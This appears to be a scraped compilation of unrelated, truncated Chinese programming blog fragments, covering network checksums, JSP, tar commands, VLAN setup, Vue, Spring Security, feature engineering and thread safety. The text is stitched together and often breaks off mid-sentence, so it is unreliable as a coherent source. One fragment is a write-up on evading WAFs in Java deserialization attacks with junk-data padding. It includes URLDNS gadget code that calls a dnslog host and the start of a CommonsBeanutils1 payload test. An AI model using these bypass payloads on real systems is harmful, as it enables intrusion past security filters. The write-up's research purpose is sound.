# ethtool -k eth0 Offload parameters for eth0: rx-checksumming: on tx-checksumming: on scatter-gather: on tcp-segmentation-offload: on udp-fragmentation-offload: off generic-segmentation-offload: on generic-receive-offload: on large-receive-offload: off
IP校验和
校验和只对头部进行,不包括数据部分。
发送IP包, 计算checksum:
(1)把IP数据报的首部校验和字段设置为0。 (2)把首部看成以16位为单位的数字组成,依次进行二进制反码求和。 (3)把得到的结果存入校验和字段中。
接收IP包,验证checksum:
(1)把首部看成以16位为单位的数字组成,依次进行二进制反码求和,包括校验和字段。 (2)检查计算出的校验和的结果是否为全1。 (3)如果全1,校验是和正确。否则,校验和就是错误的,协议栈要抛弃这个数据包。但不生成差错报文,由上层去发现丢失的数据报并进行重传。
Refs:
RFC 791 - Internet Protocol
UDP校验和
校验和即覆盖头部,也覆盖数据部分。UDP校验和是可选的,而TCP校验和是必须的。
发送包, 计算checksum:
算法和IP头部的校验和计算方法类似:二进制反码求和。但有下面两个区别:
1) 总长度如果是奇数,则自动补齐,并自动填充为0. 填充的部分不发送出去。
2)添加12个字节的伪头部。源地址(4个字节),目的地址(4个字节),0(1个字节),udp协议号(1个字节),udp头部中长度字段值(2个字节)。
如果校验和字段是0,表示不需要计算校验和。
接收包, 验证checksum:
验证checksum是根据udp头部中的length字段值所指向的数据长度进行校验,如果length字段值大于实际的数据长度,那么包在校验前会被丢弃。如果length字段值小于实际的数据长度,则需要裁减数据,并校验。
TCP校验和
校验和即覆盖头部,也覆盖数据部分。TCP校验和是必须的。也包含了12个字节的伪头部。
Linux Networking: How todisable/enable offload features, RX/TX checksum, scatter, gather and beyond Submitted by root on Mon,03/02/2015 - 10:17
jsp简单的编写格式
<%@page contentType="text/html; charset=UTF-8" language="java" %> <html> <body> <h2>Welcome to jsp World!</h2> <%--jsp表达式 将程序输出到客户端 --%> <%=new java.util.Date()%> <hr> <%--jsp Java 程序片段--%> <%-- <%=%> 里面是变量或者表达式 --%> <% int sum=0; for (int i=0;i<=100;i++){ sum=sum+i; } out.print("<h>Sum="+sum+"</h>"); %> <% int x=123; out.print(x); %> <p>jsp文档</p> <hr> <%--在代码嵌入html元素--%> <% for (int i=0;i<=3;i++){ %><%--格式如下--%> <h1>hello!</h1> <% } %> <hr> <%! static { System.out.println("loading servlet"); } private int global=0; public void L(){ System.out.println("进入L方法"); } %> </body> </html> jsp内置对象的详解
//监听本地存储 RISKID 键 值 window.addEventListener('storage',function (e) { //获取被修改的键值 if (e.key == 'RISKID') { console.log(e); } },false); 提示:自己测试 就能明白怎么使用了
升级到 AndroidStudio 版本 android-studio-2021.1.1.21-windows 后
AndroidStudio 里的 git 无法 push 报上如下错误
Invocation failed Unexpected end of file from server java.lang.RuntimeException: Invocation failed Unexpected end of file from server at org.jetbrains.git4idea.GitAppUtil.sendXmlRequest(GitAppUtil.java:30) at org.jetbrains.git4idea.http.GitAskPassApp.main(GitAskPassApp.java:58) Caused by: java.net.SocketException: Unexpected end of file from server at java.base/sun.net.www.http.HttpClient.parseHTTPHeader(HttpClient.java:866) at java.base/sun.net.www.http.HttpClient.parseHTTP(HttpClient.java:689) at java.base/sun.net.www.http.HttpClient.parseHTTPHeader(HttpClient.java:863) at java.base/sun.net.www.http.HttpClient.parseHTTP(HttpClient.java:689) at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1615) at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1520) at org.apache.xmlrpc.DefaultXmlRpcTransport.sendXmlRpc(DefaultXmlRpcTransport.java:87) at org.apache.xmlrpc.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:72) at org.apache.xmlrpc.XmlRpcClient.execute(XmlRpcClient.java:194) at org.apache.xmlrpc.XmlRpcClient.execute(XmlRpcClient.java:185) at org.apache.xmlrpc.XmlRpcClient.execute(XmlRpcClient.java:178) at org.jetbrains.git4idea.GitAppUtil.sendXmlRequest(GitAppUtil.java:27) ... 1 more error: unable to read askpass response from 'C:\Users\<User>\AppData\Local\Google\AndroidStudio2021.
记录一下平时常用到的压缩解压缩命令,免去每次查找的麻烦(不断完善)
1 解压命令 tar -xvf filename.tartar -zxvf filename.tar.gztar -zxvf filename.tgztar -jxvf filename.tar.bz2tar -xZvf filename.tar.Zunrar e filename.rar # 解压到当前目录unrar x filename.rar /path/to/extract unzip filename.zip -d filepathtar.xz文件解压:先xz -d xxx.tar.xz到tar,然后tar xvf xxx.tar 2 压缩命令 tar -zcvf filename.tar.gz filenametar -zcvf filename.tgz filenametar -jcvf filename.tar.bz2 filenamezip filename.zip filenamezip -r location.zip locationgzip -d filename.gz filenamerar -a filename.rar filename 3 多个压缩文件 如果遇到某个文件夹过大,需要将压缩文件跟个成 N 个指定大小的文件,便于邮件等方式传输,可以使用下边的方法
首先先压缩成一个大文件
tar -zcvf filename.tar.gz filenam 然后使用 split 指令进行切分
split -b 4000M -d -a 1 filename.
1.抽象工厂模式:提供一个创建一系列相关或者相互依赖的接口,而无需指定它们具体的类。
(1)AbstractFactory(抽象工厂):它声明了一组用于创建一族产品的方法,每一个方法对应一种产品。
(2)ConcreateFactory(具体工厂):它实现了在抽象工厂中声明的创建产品的方法,生成一组具体产品,这些产品构成了一个产品族,每一个产品都位于某个产品等级结构中。
(3)AbstractProduct(抽象产品):它为每种产品声明接口,在抽象产品中声明了产品所具有的的业务方法。
(4)ConcreteProduct(具体产品):它定义了具体工厂生产的具体产品对象,实现了抽象产品接口中声明的业务方法。
/**抽象工厂可以使接口也可以是具体类或者抽象类*/ public interface AbstractFactory{ public AbstractProductA createProductA();//工厂方法一 public AbstractProductB createProductB();//工厂方法二 ··· } /**具体工厂类*/ public class ConcreateFactory1 extends AbstractFactory{ //工厂方法一 public AbstractProductA createProductA(){ return new ConcreteProductA1(); } //工厂方法二 public AbstractProductB createProductB(){ return new ConcreteProductB1(); } ``` } 2.代码实例描述:在做一个类似编辑器的软件,现编辑器有数字、字母、符号三种字符。可以根据需求给这三种字符切换成黑色或者红色。下面就是具体的代码实现。(添加新的字符和颜色更加方便)。
/**数字接口,充当抽象产品*/ public interface Digit { public void display(); } /**黑色数字类,充当具体产品*/ public class BlackDigit implements Digit { public void display(){ System.out.println("显示黑色数字"); } } /**红色数字,充当具体产品*/ public class RedDigit implements Digit { public void display(){ System.
1 node环境下运行 新建一个文件夹testImport,创建webpack.config.js文件,创建src/index.js 内容为空。
执行npm init
安装第三方工具 npm install airspeed
目录结构如下:
index.js写入测试内容:
import isEmptyObject from 'airspeed/isEmptyObject'; // const isEmptyObject = require('airspeed/isEmptyObject'); const d = {name: 'maile'} console.log(isEmptyObject(d)) module.exports = d; node src/index.js
会提示错误信息:SyntaxError: Cannot use import statement outside a module。
这是因为用node去执行index.js文件的时候,该文件运行在node环境下,支持的是CommonJs规范,不支持ES6。
const isEmptyObject = require('airspeed/isEmptyObject');
换成上面的方式进行引入,可以正常执行。
2 webpack编译 如果想让index.js文件支持es6模块,需要经过webpack编译后再使用。来配置下webpack:
const path = require('path') const config = { mode: 'development', entry: './src/index.js', output: { filename: `main.min.js`, path: path.resolve(__dirname, 'dist'), } } module.
第一步 查询表ID select object_id from all_objects where owner = '当前用户名' and object_name = '表名'; 第二步 查询表字段序号 select obj#, col#, name from sys.col$ where obj# = '第一步的object_id' order by col#; 第三步 修改字段顺序 update sys.col$ set col#=3 where obj#='第一步的object_id' and name='要修改的字段名称';
目录
前言
实验要求:
实验分析:
1.三台交换机上创建VLAN
2.接口划入vlan
3.trunk干道
4.VLAN间路由器
5.实验验证
前言 如何根据实验要求完成本次实验?
实验要求: 1.pc1和pc3所在接口为access;pvlan vlan2 ,pc2/4/5/6处于同一网段;其中PC2可以访问 PC4/5/6; 但pc4可以访问pc5不能访问pc6 2.pc5不能访问pc6 3.pc1/3与pc2/4/5/6不在一个网段 4.所有pc通过DHCP获取,pc1/3可以正常访问pc2/4/5/6 实验分析: 1.三台交换机上创建VLAN [sw1]vlan batch 2 to 5 ----批量创建vlan2--5 [sw2]vlan batch 2 to 5 [sw3]vlan batch 2 to 5 2.接口划入vlan PC1/3使用aceess模式,PC2/4/5/6使用hybrid
SW1: [sw1]int e0/0/1 [sw1-Ethernet0/0/1]port link-type access [sw1-Ethernet0/0/1]port default vlan 2 [sw1]int e0/0/2 [sw1-Ethernet0/0/2]port hybrid pvid vlan 3 [sw1-Ethernet0/0/2]port hybrid untagged vlan 2 to 5 SW2: [sw2]int e0/0/1 [sw2-Ethernet0/0/1]port link-type access [sw2-Ethernet0/0/1]port default vlan 2 [sw2]int e0/0/2 [sw2-Ethernet0/0/2]port hybrid pvid vlan 4 [sw2-Ethernet0/0/2]port hybrid untagged vlan 2 to 4 SW3: [sw3]int e0/0/1 [sw3-Ethernet0/0/1]port hybrid pvid vlan 4 [sw3-Ethernet0/0/1]port hybrid untagged vlan 2 to 4 [sw3]int e0/0/2 [sw3-Ethernet0/0/2]port hybrid pvid vlan 5 [sw3-Ethernet0/0/2]port hybrid untagged vlan 2 3 5 3.
1、项目背景 为通过项目实战增加对知识图谱的认识,几乎找了所有网上的开源项目及视频实战教程。
果然,功夫不负有心人,找到了中科院软件所刘焕勇老师在github上的开源项目,基于知识图谱的医药领域问答项目QABasedOnMedicaKnowledgeGraph。
项目地址:https://github.com/liuhuanyong/QASystemOnMedicalKG
用了两个晚上搭建了两套,Mac版与Windows版,哈哈,运行成功!!!
从无到有搭建一个以疾病为中心的一定规模医药领域知识图谱,以该知识图谱完成自动问答与分析服务。该项目立足医药领域,以垂直型医药网站为数据来源,以疾病为核心,构建起一个包含7类规模为4.4万的知识实体,11类规模约30万实体关系的知识图谱。 本项目将包括以下两部分的内容:
1、基于垂直网站数据的医药知识图谱构建 2、基于医药知识图谱的自动问答 2、项目环境 2.1 windows系统 搭建中间有很多坑,且行且注意。
配置要求:要求配置neo4j数据库及相应的python依赖包。neo4j数据库用户名密码记住,并修改相应文件。
安装neo4j,neo4j 依赖java jdk 1.8版本以上:
java jdk安装方法可参考: windows系统下安装JDK8,下载地址: https://download.oracle.com/otn-pub/java/jdk/8u201-b09/42970487e3af4f5aa5bca3f542482c60/jdk-8u201-windows-x64.exe 安装neo4j可参考博文: windows安装neo4j,下载地址: https://go.neo4j.com/download-thanks.html?edition=community&release=3.4.1&flavour=winzip 安装python可参考: Windows环境下安装python2.7 根据neo4j 安装时的端口、账户、密码配置设置设置项目配置文件:answer_search.py & build_medicalgraph.py (github下载项目时根据个人需要也可使用git)
数据导入:python build_medicalgraph.py,导入的数据较多,估计需要几个小时。
python build_medicalgraph.py导入数据之前,需要在该文件main函数中加入:
build_medicalgraph.py
启动问答:python chat_graph.py
2.2 Mac系统
mac本身自带python、java jdk环境,可直接安装neo4j图数据库,项目运行步骤与windows基本一样。
问题解答:
安装过程中如遇问题可联系Wechat: dandan-sbb。 2.3 Neo4j数据库展示 2.4 问答系统运行效果 3、项目介绍 该项目的数据来自垂直类医疗网站寻医问药,使用爬虫脚本data_spider.py,以结构化数据为主,构建了以疾病为中心的医疗知识图谱,实体规模4.4万,实体关系规模30万。schema的设计根据所采集的结构化数据生成,对网页的结构化数据进行xpath解析。
项目的数据存储采用Neo4j图数据库,问答系统采用了规则匹配方式完成,数据操作采用neo4j声明的cypher。
项目的不足之处在于疾病的引发原因、预防等以大段文字返回,这块可引入事件抽取,可将原因结构化表示出来。
3.1 项目目录 . ├── README.md ├── __pycache__ \\编译结果保存目录 │ ├── answer_search.cpython-36.pyc │ ├── question_classifier.cpython-36.pyc │ └── question_parser.
什么是nextTick? 定义: 在下次 DOM 更新循环结束之后执行延迟回调。在修改数据之后立即使用这个方法,获取更新后的 DOM
看完这个定义不免心生疑问:
下次 DOM 更新循环结束之后是什么时候?执行延迟回调?更新后的 DOM? 基于以上问题和平时的使用经验可以基本解答疑问:
vue 更新DOM的策略是异步更新nextTick 可以接收一个函数做为入参nextTick 后能拿到最新的数据 那么nextTick 是怎么实现的呢?既然是异步更新,这涉及到了 js 的执行机制,下面一起复习一下js执行机制。
JS 执行机制 我们都知道 JS 是单线程语言,即指某一时间内只能干一件事,即为同步。
而JS为什么是单线程的呢?这就要提及JS的主要用途了。JS自诞生之日起,其主要用途是与用户互动和DOM操作,如果同一时间,一个添加了 DOM,一个删除了 DOM, 这个时候语言就不知道是该添还是该删了,所以从应用场景来看 JS 只能是单线程,否则会带来复杂的同步问题。
单线程就意味着所有的任务都需要排队,后面的任务需要等前面的任务执行完才能执行,如果前面的任务耗时过长,后面的任务就需要一直等,一些从用户角度上不需要等待的任务就会一直等待,这个从体验角度上来讲是不可接受的,所以JS中就出现了异步的概念。
概念
同步任务:指排队在主线程上依次执行的任务
异步任务:不进入主线程,而进入任务队列的任务,又分为宏任务和微任务
宏任务: 渲染事件、请求、script、setTimeout、setInterval、Node中的setImmediate 等
微任务: Promise.then、MutationObserver(监听DOM)、Node 中的 Process.nextTick等
执行机制
(1)所有同步任务都在主线程上执行,形成一个执行栈(execution context stack)。
(2)主线程之外,还存在一个"任务队列"(task queue)。只要异步任务有了运行结果,就在"任务队列"之中放置一个事件。
(3)一旦"执行栈"中的所有同步任务执行完毕,系统就会读取"任务队列",看看里面有哪些事件。那些对应的异步任务,于是结束等待状态,进入执行栈,开始执行。
(4)主线程不断重复上面的第三步。
只要主线程空了,就会去读取"任务队列",这就是JavaScript的运行机制。
当执行栈中的同步任务执行完后,就会去任务队列中拿一个宏任务放到执行栈中执行,执行完该宏任务中的所有微任务,再到任务队列中拿宏任务,即一个宏任务、所有微任务、渲染、一个宏任务、所有微任务、渲染…(不是所有微任务之后都会执行渲染),如此形成循环,即事件循环(EventLoop)。
nextTick 就是创建一个异步任务,那么它自然要等到同步任务执行完成后才执行。
nextTick 用法 先看个例子,点击按钮更新 DOM 内容,并获取最新的 DOM 内容
<template> <div ref="test">{{name}}</div> <el-button @click="handleClick">按钮</el-button> </template> <script setup> import { ref, nextTick } from 'vue' const name = ref("
阅读本文大概需要 9 分钟。
来自:blog.csdn.net/Muscleheng/article/details/80067772
遇见的问题: 前台把参数通过报文或者使用表单、ajax提交到后台,如果我们的请求参数是加密的,那么我们在controller里面的每一个方法里都需要进行解密处理。如果方法太多,那就太麻烦了。
设计方案: 使用过滤器,在一个Filter中将 HttpServletRequest 里的所有参数都取出来分别进行过滤然后再放回到该HttpServletRequest 中行不行呢?
通过测试后发现是不行的,因为HttpServletRequest 只提供了getParameter ,而没有提供setParameter;所以,我们只能自己写一个HttpServletRequest 方法继承HttpServletRequestWrapper,然后覆盖里面的方法,并且增加我们自己的setParameters方法,这样我们就可以为所欲为了,最后再在filter中调用该类的方法对参数进行处理(获取、修改、存储等等)。
解决方案: 在请求参数到达controller之前,在filter里面进行解密;这样,通过简单的过滤器处理,把需要处理的请求都在过滤器里进行解密操作,这样就等于实现了自动化处理。
这里我们针对两种不同的请求方式进行讲解:
普通的表单、ajax请求;
json格式的报文请求。(三步搞定)
1.普通的表单、ajax请求; 第一步:新建一个类
这个类继承自HttpServletRequestWrapper
import java.io.IOException; import java.util.HashMap; import java.util.Map; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; /** * 重写 HttpServletRequestWrapper * 处理表单、ajax请求 * @author zhaoheng * */ public class MyHttpServletRequestWrapper1 extends HttpServletRequestWrapper{ // 用于存储请求参数 private Map<String , String[]> params = new HashMap<String, String[]>(); // 构造方法 public MyHttpServletRequestWrapper1(HttpServletRequest request) throws IOException { super(request); // 把请求参数添加到我们自己的map当中 this.
前言 系统的技术架构(相对于业务架构),主要会考虑下面5个点:
高性能、高可用、可伸缩、可扩展、安全。
一、高性能 1、架构层面 1.1、缓存 浏览器缓存
CDN缓存
反向代理缓存
本地缓存
分布式缓存
缓存注意的点:
1)避免缓存穿透:把空对象保存在内存缓存里
2)缓存与数据库的数据一致性:Cache Aside模式:先更新DB,再清除缓存,DB主从同步完成后,再清理缓存。
1.2、异步 本地队列
分布式队列
1.3、资源复用 线程池、连接池、对象池
单例
2、代码层面 2.1、多线程 线程池,线程数与CPU核数相关:看IO密集型还是计算密集型
线程数 = (任务执行时间 / (任务执行时间 - IO等待时间))* CPU核数
2.2、内存:空间换时间 2.3、锁 尽量不用锁
非要用锁,尽量降低锁粒度、控制锁总数、尽量使用无锁框架CAS,putIfAbsent等
2.4、数据结构的时间复杂度 Skiplist 替代 TreeMap
2.5、访问量大时可批量请求,降低请求次数 Kafka producer批量请求
3、DB层面 3.1、索引 InnoDB引擎 默认BTree+ 索引
3.2、SQL优化 3.3、NoSQL 4、附录:衡量性能指标 4.1、TPS & QPS 4.2、系统性能参数:CPU Load Average, CPU User Usage, 内存,网络IO,磁盘IOPS CPU Load Average:平均每核CPU,理想值在100%
CPU User Usage:理想值在70%以内
4.3、响应时间 4.4、并发数:并发访问数、在线用户数 二、高可用 1、冗余:数据冗余 & 依赖服务冗余 2、限流、降级、熔断 3、自动化运维 3.
在SCI论文中,我们经常可以看见一些这样的表格,大多数命名表格 2.,主要用来表示原因和结果的单因素分析的关系或者是分组变量的关系,也就是单因素分析,那这样一张表格该怎么完成呢?
01 单因素回归分析方法
单因素回归分析就是在构建回归模型时,只纳入一个因素进入到回归模型中进行拟合,其理论上也应该属于单因素分析的范畴,只不过是用到了稍微高级一点的回归方法而已。
单因素回归分析有三种方法,那么三种方法该怎么选择,以及什么样的数据适合哪种回归分析方法,这其中都存在很复杂的过程,但是经我细细的道来,自然就明了许多,单因素回归分析三种方法包括如下: 单因素 Cox 回归
单因素 Logistic 回归
多线性回归
先看第一种 Cox 回归分析,这种方法最常用,常常与 Logisitc 回归分析方法混淆,那么什么样的数据应当选择 Cox 回归分析方法呢?如下数据中的有 time-to-event, 对应着 sex 二分类方法,如下:
library("survival") library("survminer") #导入数据 data("lung") head(lung) inst time status age sex ph.ecog ph.karno pat.karno meal.cal wt.loss 1 3 306 2 74 1 1 90 100 1175 NA 2 3 455 2 68 1 0 90 90 1225 15 3 3 1010 1 56 1 0 90 90 NA 15 4 5 210 2 57 1 1 90 60 1150 11 5 1 883 2 60 1 0 100 90 NA 0 6 12 1022 1 74 1 1 50 80 513 0 #COX分析需要的生存时间time和生存状态status res.
上一篇写了c#相关串口的基本操作和注意事项,这里补充一下虚拟串口的使用。
网上虚拟串口软件很多,这里推荐使用 Virtual Serial Port Driver (VSPD),简单好用,直接在本机建立两个互相连接好的串口,调试的时候分别连接两个串口即可完成互相之间的数据传输。
以上是虚拟串口,模拟的是硬件,还需要相应的从机(客户机)模拟软件,好对模拟串口传输的数据进行响应。
软件是UartAssist--串口调试助手, 我使用的是目前最新的5.0.2版本
上图这个组件是基本的界面,难道要对收到的数据进行手动回复?拖动右下角,拉大窗口会打开新世界。
点击左侧的自动应答,即可打开右侧的相关操作功能。
这里的操作不用再细讲了, 非常简单。
有了这俩软件就可以进行很方便的模拟通信测试了。
记得要选HEX方式收发数据。
Flutter项目集成了权限请求框架 permission_handler,在Android端的权限请求没什么问题,iOS端安装之后,跳转到应用设置后找不到相应的权限,权限声明:
应用设置页面:
我还以为跟Android端的权限一样,声明了这边就会显示出来然后可以设置,然后又查看了文档和代码,终于发现个问题:
iOS文件夹下有个Profile文件,这个文件以前编译失败然后删除了重新生成了,看文档这里面是要添加代码,所以加入以下代码
post_install do |installer| installer.pods_project.targets.each do |target| flutter_additional_ios_build_settings(target) target.build_configurations.each do |config| config.build_settings['GCC_PREPROCESSOR_DEFINITIONS'] ||= [ '$(inherited)', 'PERMISSION_MICROPHONE=1', 'PERMISSION_CAMERA=1', 'PERMISSION_PHOTOS=1', ] end end end 重新运行,可以正常的设置权限了,完事儿,收工!
如果已有163邮箱请直接跳至3。
1.打开网站
网易免费邮箱 - 中国第一大电子邮件服务商
2.点击注册新账号
填写邮箱地址、密码、手机号码,勾选同意相关服务协议后点击立即注册。
如上出现验证码选项则先获取验证码,填写验证码后点击立即注册。
注册成功后登录邮箱即可。
3.登录成功
点击设置-> POP3/SMTP/IMAP
开启服务,开启 IMAP/SMTP服务,点击开启。
继续开启
手机扫码发送短信,短信发送后点击 我已发送。
成功开启。
授权密码只显示一次,注意妥善保存。
文章目录 对Java反序列化脏数据绕WAF新姿势的补充写在前面引言为什么这里第一个属性反序列化失败,仍然触发了URLDNS的整个过程灵感大发 对Java反序列化脏数据绕WAF新姿势的补充 @Y4tacker 写在前面 这篇文章其实很久前也更新到我博客了还是懒,还是搬过来吧,这里再发一次:https://y4tacker.github.io/
引言 相信大家都看过回忆飘如雪大师傅的一篇文章,Java反序列化数据绕WAF之加大量脏数据,在这篇文章当中大师傅提出了通过将gadget加入到集合类型从而可以实现添加脏数据,这里我发现了一个新姿势
灵感也是来源于回忆飘如雪大师傅的另一篇文章的一个一笔带过的问题上
这原本是大师傅想来搞gadget探测的方案,但是却失败了,但本着专研的工匠精神,我对这个问题进行了深入的研究,这里顺便对这个问题解读
为什么这里第一个属性反序列化失败,仍然触发了URLDNS的整个过程 顺便这里多提一嘴,为什么之后大师傅提出的直接将URLDNS中的HashMap的键值对中将key或者value任意替换一个为需要探测的class就可以呢,其实核心原因在于是否能触发之后的hash()函数!
这里我们调重点来讲,好了我们来看看当产生ClassNotFoundException后,最终在java.io.ObjectInputStream#readSerialData,在抛出异常之后他会去继续调用skipCustomData
这里有个if判断,大概是判断当前是否还在块数据当中,如果是跳到下一个块数据当中,每个块分隔是通过0x78这个字节,因为这个字节是一个块的结尾
接下来是一个switch循环,通过下一字节来判断,这里如果都不是则会直接对下一段进行反序列化!!!很神奇吧
因此现在我们就能解释为什么当初对于,这一段代码我们能够成功触发URLDNS的反序列化过程呢,没错就是上面这张图,他直接对下一个块数据继续执行反序列化因此对HashMap的反序列化最终导致URLDNS完整触发
List<Object> a = new LinkedList<Object>(); a.add(makeClass("TargetClass")); a.add(new URLDNS.getObject("http://test.dnslog.cn")); 那么为什么这样却能实现需求呢
HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u,我是要探测的gadget); 在这里当调用了K key = (K) s.readObject();由于类不存在抛出异常,之后继续对下一块数据进行反序列化,最终抛出异常后也不可能继续调用下面的value = s.readObjet()了,更别谈通过hash函数最终触发URLDNS,因此最终能够成功
灵感大发 既然在抛出ClassNotFoundException后他还会去继续反序列化下一块数据,并且这是个相当于while True的东西🤪!!
那么我们是不是就可以这样疯狂套娃实现垃圾数据呢?说干就干,当然大家别忘了引入javassist的依赖
简简单单对CommonsBeanutils1来发测试
public class Test { public static Class makeClass(String clazzName) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass(clazzName); Class clazz = ctClass.
导语 本文旨在使用简单的业务场景,重点介绍 Spring Security Authentication/Authorization 和 Spring Security Acl 实践过程的关键知识点,并给出相应的代码和配置示例,主要包含以下三个部分:
Web Api Authentication/AuthorizationMethod Authentication/AuthorizationAcl 完整的示例位于 example/spring-security 中,仓库地址:https://github.com/njdi/example.git。
Web Api Authentication/Authorization 假设有三个接口:
/web/guest:任意用户可访问;/web/user:访问时需要提供用户名和密码,且访问用户必须拥有角色 USER;/web/admin:访问时需要提供用户名和密码,且访问用户必须拥有角色 ADMIN; 其中,用户名和密码就是 Authentication(认证),拥有指定角色就是 Authorization(鉴权)。
示例接口 添加 Maven 依赖 spring-security/pom.xml
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </dependency> https://github.com/njdi/example/blob/main/pom.xml
https://github.com/njdi/example/blob/main/spring-security/pom.xml
实现接口 Main
package io.njdi.example.spring.security; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class Main { public static void main(String[] args) { SpringApplication.run(Main.class, args); } } https://github.com/njdi/example/blob/main/spring-security/src/main/java/io/njdi/example/spring/security/Main.java
WebController
package io.njdi.example.spring.security.controller; import org.
如何计算地址总线和数据总线 若计算机的内存为4GB,字长为32位,则该计算机的地址总线为32条,数据总线为32条。
地址总线的数量与计算机的数据总线数目有关
假设地址总线数目为n则计算机的内存大小为:
2∧n B
如上题中描述:
4 GB = 4×1024 MB = 4×1024×1024 KB = 4×1024×1024×1024 B = 2∧32 B
所以该计算机的地址总线为32条
字长为32,所以数据总线为32条
特征工程 业务建模流程 将业务抽象为分类or回归问题定义标签,得到y选取合适的样本,并匹配出全部的信息作为特征来源特征工程+模型训练+模型评价与调优(相互之间可能会有交互)输出模型报告上线与监控 什么是特征 在机器学习的背景下,特征是用来解释现象发生的单个特性或一组特性。 当这些特性转换为某种可度量的形式时,它们被称为特征。
举个例子,假设你有一个学生列表,这个列表里包含每个学生的姓名、学习小时数、IQ和之前考试的总分数。现在,有一个新学生,你知道他/她的学习小时数和IQ,但他/她的考试分数缺失,你需要估算他/她可能获得的考试分数。
在这里,你需要用IQ和study_hours构建一个估算分数缺失值的预测模型。所以,IQ和study_hours就成了这个模型的特征。
特征工程可能包含的内容 基础特征构造
数据预处理
特征衍生
特征筛选
这是一个完整的特征工程流程,但不是唯一的流程,每个过程都有可能会交换顺序,具体的场景需要具体分析。
import pandas as pd import numpy as np df_train = pd.read_csv('/Users/zhucan/Desktop/金融风控实战/第三课资料/train.csv') df_train.head() 结果:
#查看数据基本情况 df_train.shape #(891, 12) df_train.info() 结果:
df_train.describe() 结果:
#箱线图 df_train.boxplot(column = "Age") 结果: import seaborn as sns sns.set(color_codes = True) np.random.seed(sum(map(ord,"distributions"))) #固定种子 sns.distplot(df_train.Age, kde = True, bins = 20, rug = True) 结果:
set(df_train.label) #{0, 1} 数据预处理 (1)缺失值 主要用到的两个包:
pandas fillna sklearn Imputer
线程安全:
线程安全函数:在C语言中局部变量是在栈中分配的,任何未使用静态数据或其他共享资源的函数都是线程安全的。
使用全局变量的函数是非线程安全的。
使用静态数据或其他共享资源的函数,必须通过加锁的方式来使函数实现线程安全。
线程安全的(Thread-Safe):
如果一个函数在同一时刻可以被多个线程安全地调用,就称该函数是线程安全的。
线程安全函数解决多个线程调用函数时访问共享资源的冲突问题。
可重入(Reentrant):
函数可以由多于一个线程并发使用,而不必担心数据错误。可重入函数可以在任意时刻被中断,稍后再继续运行,不会丢失数据。可重 入性解决函数运行结果的确定性和可重复性。
可重入函数编写规范为:
1、不在函数内部使用静态或全局数据
2、不返回静态或全局数据,所有数据都由函数的调用者提供。
3、使用本地数据,或者通过制作全局数据的本地拷贝来保护全局数据。
4、如果必须访问全局变量,利用互斥机制来保护全局变量。
5、不调用不可重入函数。
两者之间的关系:
1、一个函数对于多个线程是可重入的,则这个函数是线程安全的。
2、一个函数是线程安全的,但并不一定是可重入的。【使用互斥锁实现的线程安全】
3、可重入性要强于线程安全性。
比如:
strtok函数是既不可重入的,也不是线程安全的。加锁的strtok不是可重入的,但线程安全。
而strtok_r既是可重入的,也是线程安全的。(具体可以查看man手册)
为了写一个稳定的多线程程序,必须遵守线程安全,但不一定遵守可重入。
安全是指多个线程调用同一个函数,如果是线程安全的,那么每次的结果都是正确。
可重入函数是指函数内部没有使用共享变量。
可重入函数是线程安全函数的一个真子集。
也就是说如果函数是可重入的,就可以保证它是线程安全的,当然有些不可重入的函数也是线程安全的,比如:【系统库函数实现的都是线程安全的。】
系统的设计中,经常会出现多个任务调用同一个函数的情况。如果这个函数不幸被设计成为不可重入的函数的话,那么不同任务调用这个函数时可能修改
其他任务调用这个函数的数据,从而导致不可预料的后果。那么什么是可重入函数呢?
所谓可重入函数是指一个可以被多个任务调用的过程,任务在调用时不必担心数据是否会出错。不可重入函数在实时系统设计中被视为不安全函数。 int
global=0;
int foo1()
{
return global++;
}
如果多个线程同时调用这个函数,每个线程返回的结果是什么?
很明显这个结果很难回答。因为你不知道他们这些线程是怎么工作的,谁先谁后都不知道,有的程序在线程的调度上只是简单的时间片轮转的策略,按找创建
线程的顺序应该可以得到正确答案,但是如果调度策略对修改了呢,比如是实时调度。
很明显一个可重入的函数的很必要的。
你或许想难道这个可重入函数不能使用全局变量了吗,你真正需要的或许只是线程安全,没有必要可重入,那么你可以这样改
int global=0;
int foo1()
{
int local=global;
return local++;
}
这就是为什么你或许看到很多程序都要在开始用一个局部变量保存一个全局变量的原因。
第二种情况 果函数中使用了静态变量或者返回静态变量或者静态数据结构,静态变量包括全局静态变量或者局部静态变量,函数也有是不可重入的,例如
int foo2()
{
static int a=0;
return a++;
}
要使它变得线程安全,其实很简单,在使用它之前,保存它的值。或者另一种情况这些变量都是只读的。
第三种情况 数中使用了malloc或者free函数,天呢,线程没有动态内存分配?不是的,malloc和free是不可重入的,但是是线程安全的,也就是开始所说的
flask-sqlalchemy-rest是个用来生成rest接口的库,主要依赖flask和sqlalchemy库。
安装
$ pip install flask_sqlalchemy_rest 示例代码,新建main.py,内容如下
from flask import Flask from flask_sqlalchemy import SQLAlchemy from flask_sqlalchemy_rest import Rest # 创建一个flask应用 app = Flask(__name__) # 配置sqlite数据库路径 app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///example.sqlite" # 创建SQLAlchemy对象 db = SQLAlchemy(app) # 创建flask_sqlalchemy_rest对象 rest = Rest(app, db) # 定义一个用户表 class User(db.Model): id = db.Column(db.Integer, primary_key=True) name= db.Column(db.String) age = db.Column(db.Integer) # 生成数据库表结构 with app.app_context(): db.create_all() # 给用户表绑定rest接口 rest.add_model(User) # 运行flask应用 app.run() 运行代码
python main.py 自动创建了以下几个接口
请求方法url成功返回json描述GEThttp://127.0.0.1:5000/api/user{“code”: 200, “msg”: “OK”, “data”: { list"
